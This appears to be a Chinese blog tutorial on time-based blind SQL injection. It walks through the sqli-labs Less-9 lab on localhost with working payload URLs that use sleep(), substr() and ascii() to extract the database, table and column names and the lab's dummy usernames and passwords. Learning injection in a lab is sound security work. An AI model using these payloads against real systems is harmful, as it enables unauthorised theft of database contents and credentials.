一.基于时间得盲注

适用场景:没有数据回显,条件正确与否结果一样

利用方式:构造判断条件,添加sleep,逐个猜测(盲猜)

1.所需语法与函数

IF表达式

IF( expr1 , expr2 , expr3 )
#expr1 的值为 TRUE,则返回值为 expr2
#expr1 的值为FALSE,则返回值为 expr3 

expr1 的值为 TRUE,则返回值为 expr2 expr1 的值为FALSE,则返回值为 expr3

mysql> select if(1=1,1,0);   #条件为真 返回1
+-------------+
| if(1=1,1,0) |
+-------------+
|           1 |
+-------------+mysql> select if(1=2,1,0);   #条件为假 返回0
+-------------+
| if(1=2,1,0) |
+-------------+
|           0 |
+-------------+

count(列名)    #查询当前列中的元组的个数

mysql> select username from users;
+----------+
| username |
+----------+
| Dumb     |
| Angelina |
| Dummy    |
| secure   |
| stupid   |
| superman |
| batman   |
| admin    |
| admin1   |
| admin2   |
| admin3   |
| dhakkan  |
| admin4   |
+----------+mysql> select count(username) from users;
+-----------------+
| count(username) |
+-----------------+
|              13 |
+-----------------+

sleep(n) 函数  睡眠n秒后执行。

select length(database())=8;  #截取长度如果是8,返回1,否则返回0
select if(1=1,1,0)            #判断赋值
select sleep(1)               #睡眠n秒后执行
select sleep(if(select length(database()=8),1,0))  #如果数据库长度是8 睡1秒
select if(length(database=8),sleep(1),0)         #等价于上面

二.举例说明

基于时间的盲注,以sqli-labs less-9 (第9关)为例

1.判断数据库名的长度以及名字

http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and if(length(database())=8,sleep(5),0) -- -               #有明显延迟说明数据库名的长度是8
http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and if (ASCII(substr(database(),1,1))=115,sleep(5),0) -- -  #有5s延迟说明第数据库的第一个字母对应的ASCII码是115 也就是s  以此类推数据库名security

判断出数据库名为security

2.判断库中含有的表名长度以及名字

2.1 使用count()函数,先确定表个数,然后再确定各个表的长度,再确定表名字

# 确定表的个数为4个
http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and
if ((SELECT COUNT(table_name) FROM information_schema.tables WHERE TABLE_schema='security')=4,SLEEP(5),0) -- - # 确定第一个表名的长度
http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and
if(LENGTH((SELECT table_name from information_schema.TABLES where table_schema='security' limit 0,1))=6,sleep(5),0) -- -# 确定表名
http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and
if(ASCII(SUBSTR((SELECT table_name from information_schema.TABLES where table_schema='security' limit 0,1),1,1))=101,SLEEP(5),0) -- --

依次类推 确定出所有表名 emails,referers,uagents,users.

2.2 一个技巧,不需猜测表名,表名长度

这里提供一个技巧,不需要猜测表名的个数以及表名的长度,语法如下:

http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and
if(ASCII(SUBSTR((SELECT TABLE_NAME FROM information_schema.TABLES WHERE TABLE_schema='security' LIMIT 0,1),7,1))>=1,SLEEP(5),0) -- - 

根据这一步,依次往后测定如果为空字符的话,意味着第一个表名结束。比入依次测定出第一个表名的前6个字母为 emails 测定第7个的时候让ASCII>=1 没有延迟,说明这是一个空字符(ASCII码对应的0是空字符),意味着表名的结束,为了正确性,可以继续测定第8个,依旧是空字符。按照这个办法依次猜测后面的表名  分别为emails,referers,uagents,users.然后依照此办法依次猜测字段名,字段名的值。

2.3 使用group_concat()语句,简单方便

此方法将字段名下的所有值集中到一行,用此函数可以不用确定表的个数,不用确定表名,可以把所有表名加在一起的长度确定下来。

# 确定所有表名加在一起的长度
http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and
IF(length((SELECT GROUP_CONCAT(table_name) from information_schema.tables where table_schema='security'))=29,sleep(5),0) -- -
# group_concat()语句默认用逗号分隔,所以表名长度加逗号的长度一共是29# 依次猜测29个字符即可猜出表名
http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and
if(ASCII(SUBSTR((SELECT group_concat(table_name) from information_schema.TABLES where table_schema='security'),1,1))=101,SLEEP(5),0)  -- -

3.判断字段名,为方便使用group_concat()语句

# 确定出users表中所有字段名的长度加上逗号的长度为20
http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and
if(length((select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'))=20,sleep(5),1)   -- -# 依次确定字段名
http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and
if(ASCII(substr((select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),1,1))=105,sleep(5),0)-- -# 第一个字母对应的ascii码是105
# 依次进行猜测 猜测出字段名:id,username,password

4.同理得到username 和password的值。

4.1 username的值

# 猜出所有username值加上逗号得长度是91
http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and
if(length((select group_concat(username) from security.users))=91,SLEEP(5),0) -- -#猜测出username得值
http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and
IF(ASCII(substr((select group_concat(username) from security.users),1,1))=68,SLEEP(5),0)-- -Dumb,Angelina,Dummy,secure,stupid,superman,batman,admin,admin1,admin2,admin3,dhakkan,admin4

4.2 password的值

# 猜测出password的值加上逗号的长度是96
http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and
if(length((select group_concat(password) from security.users))=96,SLEEP(5),0)  -- -# 猜测值
http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and
IF(ASCII(substr((select group_concat(password) from security.users),1,1))=68,SLEEP(5),0)-- -
Dumb,
I-kill-you,p@ssword,crappy,stupidity,genious,mob!le,admin,admin1,admin2,admin3,dumbo,admin4

5.最终结果

username:
Dumb,Angelina,Dummy,secure,stupid,superman,batman,admin,admin1,admin2,admin3,dhakkan,admin4password:
Dumb,
I-kill-you,p@ssword,crappy,stupidity,genious,mob!le,admin,admin1,admin2,admin3,dumbo,admin4

SQL注入——基于时间的盲注(sqli-labs less9)相关推荐

  1. SQL注入——基于时间的盲注(九)

    本章目的 普及延时盲注技术的运用场景及条件,熟悉length().Substr().ascii().sleep().if()等函数的用法,掌握基于时间的盲注基本流程.PS:面试问答不深问就回答延迟 基 ...

  2. SQL注入——基于布尔的盲注(八)

    本章目的 普及布尔盲注技术的运用场景及条件,熟悉length().substr().ascii()等函数的用法,掌握基于布尔的盲注基本流程.PS:面试回答主要为对错论 基本概念 盲注 在SQL注入过程 ...

  3. SQL注入:sqli-labs lesson-8 lesson -9 基于布尔值和基于时间的盲注!

    在上一次讲解了lesson -1的sql基本注入,我们在注入的时候,它会返回错误信息 但是盲注不会:什么是盲注:我理解的盲注是,web页面并不会返回错误信息,需要自己添加一些命令来让浏览器进行一些显而 ...

  4. 渗透测试——sql注入进阶/基于时间的盲注/一看就会/

    目录 一.注入点判断 注入类型 SQL注入的类型 二.基于时间的时间盲注 什么是时间盲注 sleep()函数 常用函数 三.bWAPP基于时间的盲注实战 一.注入点判断 1.输入一个单引号',因为语句 ...

  5. mysql基于时间盲注_MYSQL基于时间的盲注详解

    MYSQL基于时间的盲注 联合查询,报错注入,以及布尔盲注,都是基于攻击网站会回显消息,或者将错误信息返回在前端,或者会返回web页面的正确或错误 但是有时候网站关闭了错误回显或过滤了某些关键字,网页 ...

  6. 【SQL注入-05】布尔盲注案例

    目录 1 概述 2 操作环境 3 操作具体步骤 3.1 判断是否存在注入点及注入的类型 3.2 测试数据库库名长度 3.3 逐个测试数据库库名的字符 3.4 测试该数据库中所有表名 3.5 测试use ...

  7. iwebsec靶场 SQL注入漏洞通关笔记4- sleep注入(时间型盲注)

    系列文章目录 iwebsec靶场 SQL注入漏洞通关笔记1- 数字型注入_mooyuan的博客-CSDN博客 iwebsec靶场 SQL注入漏洞通关笔记2- 字符型注入(宽字节注入)_mooyuan的 ...

  8. 【SQL注入14】布尔盲注的半自动化实现(基于BurpSuite工具和sqli-labs-less8靶机平台)

    目录 1 概述 2 实验简介 2.1 实验平台 2.2 实验目标 3 实验过程 3.1 判断注入点及注入类型 3.2 爆库名(踩坑) 3.3 爆库名(成功) 3.4 爆表名 3.5 爆字段名 3.6 ...

  9. SQL注入--报错和盲注

    目录 报错注入 floor函数报错注入 extractvalue()函数报错注入 updatexml()函数报错注入 盲注 布尔盲注 时间盲注 报错注入 文章内容篇幅较长,请认真研读 回顾之前的文章( ...

最新文章

  1. 日常该怎么处理繁杂的工作?用智办事更有序、高效!
  2. python的format输出报文_python构造IP报文实例
  3. c# 对文件的各种操作
  4. eclipse配置tomcat8.5
  5. 手机麦克风声音太大_全民K歌必备利器,得胜PH-125手机K歌麦克风让你轻松拥有好声音...
  6. 三阶魔方还原步骤图_研究人员开发的AI成功在1.2秒内还原三阶魔方
  7. 组策略链接顺序优先级
  8. SQL Server 审计
  9. 搜狗浏览器热搜怎么关 热搜关闭方法详解
  10. Window10 安装虚拟机搭建LInux系统
  11. 21 MM配置-采购-定义采购组
  12. 豆瓣高分JAVA书籍,你都读过吗?
  13. 聚类算法之K均值算法C++实现
  14. 微信小程序标签样式的优先级
  15. 找不到msvcr100.dll怎么办?三种方法教你
  16. Linux 系统编程 --文件IO-write()、read()、lseek()函数
  17. python day46
  18. Git使用简介一(入门级)
  19. python + 数学公式 + 图像 表白 LOVE YOU❤
  20. 目前缺少用于语义分割的 3D LiDAR 数据吗?关于三维点云数据集和方法的调查

热门文章

  1. 【Spring Security OAuth2笔记系列】- Spring Social第三方登录 - QQ登录下
  2. 日语笔记(3) 动词て形
  3. 中国门户网站现状和未来
  4. Arrays.sort() 实现降序排列 Comparator接口实现的坑
  5. 大义灭亲!博士生举报导师抄袭自己的研究成果,学校的操作亮了
  6. 图鉴:《100名互联网公司老板采访实录》
  7. 基于EasyNVR摄像机网页无插件直播服务二次开发实现H5播放页面的简单集成方案
  8. 沉睡者IT - 什么是Web3.0?
  9. CRUX OCR:腾讯云分析永久开放免费OCR服务
  10. 【搜索+DP】codevs1066-引水入城